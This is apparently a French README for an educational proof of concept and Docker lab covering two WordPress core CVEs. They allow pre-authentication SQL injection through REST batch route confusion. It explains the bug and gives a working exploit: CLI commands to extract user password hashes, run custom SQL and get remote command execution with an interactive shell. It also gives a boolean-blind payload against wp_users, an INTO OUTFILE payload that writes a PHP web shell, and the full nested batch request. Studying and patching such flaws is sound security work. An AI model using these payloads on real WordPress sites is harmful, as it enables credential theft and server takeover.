PoC pédagogique + laboratoire pour CVE-2026-63030 + CVE-2026-60137 : SQLi avant authentification dans le noyau de WordPress via confusion de routes par lots REST
PoC éducatif et laboratoire pour CVE-2026-63030 + CVE-2026-60137 : injection SQL pré-authentification dans le cœur de WordPress via une confusion de route du batch REST.
Découvert par Adam Kues (Searchlight Cyber / Assetnote). Corrigé dans WordPress 6.9.5 / 7.0.2.
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
POST /wp-json/batch/v1 regroupe plusieurs appels d'API REST dans une seule requête HTTP. Il ne possède aucun contrôle d'authentification propre. La sécurité est déléguée au callback de permission de chaque sous-requête.
serve_batch_request_v1() construit deux tableaux parallèles :
$matches[] suit quel handler doit dispatcher chaque sous-requête$validation[] suit si chaque sous-requête a réussi la validationIl indexe les deux par le même offset lors du dispatch. Le bug : lorsque le chemin d'une sous-requête échoue à wp_parse_url(), un WP_Error est poussé dans $validation mais pas dans $matches. Cela décale $matches d'un cran, de sorte que chaque sous-requête suivante est dispatchée vers le mauvais handler.
La désynchronisation est utilisée deux fois.
Batch externe. Une requête /wp/v2/posts portant un batch interne dans son corps est dispatchée sous le handler batch (auto-appel). Elle a été validée comme une requête posts, donc le tableau requests interne n'a jamais été vérifié par rapport au schéma du batch. Cela contourne la liste blanche des méthodes et permet aux sous-requêtes internes d'utiliser GET.
Batch interne. Une requête /wp/v2/categories?author_exclude=<SQLI> est dispatchée sous get_items() des posts. Le schéma des catégories ne définit pas author_exclude, elle passe donc la validation sans modification. Mais get_items() des posts la mappe vers WP_Query::author__not_in, où la valeur est interpolée brute dans le SQL.
Le code vulnérable de WP_Query ne nettoyait author__not_in que lorsqu'il s'agissait déjà d'un tableau :
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
Une valeur de type chaîne contourne entièrement le contrôle is_array(). Le cast (array) l'enveloppe sans la nettoyer.
Lire la base de données (tous les sites affectés) :
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
Oracle booléen : posts renvoyés = vrai, réponse vide = faux. Recherche binaire par caractère.
Écrire des fichiers (nécessite le privilège MySQL FILE, qui n'est pas celui par défaut de WordPress) :
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
La requête HTTP réelle :
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
Comment les tableaux se désalignent :
serve_batch_request_v1() traite les sous-requêtes en deux boucles. La première boucle valide chaque sous-requête et construit $matches[] et $validation[]. La deuxième boucle dispatche chaque sous-requête en utilisant $matches[$i] comme handler. Comme l'erreur de la requête d'amorçage est absente de $matches, la deuxième boucle associe chaque requête au mauvais handler.
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
Les PoC existants utilisent l'extraction booléenne aveugle : 1 bit par requête HTTP, environ 224 requêtes pour un hash de mot de passe. Ce dépôt combine deux techniques pour une extraction ~75x plus rapide.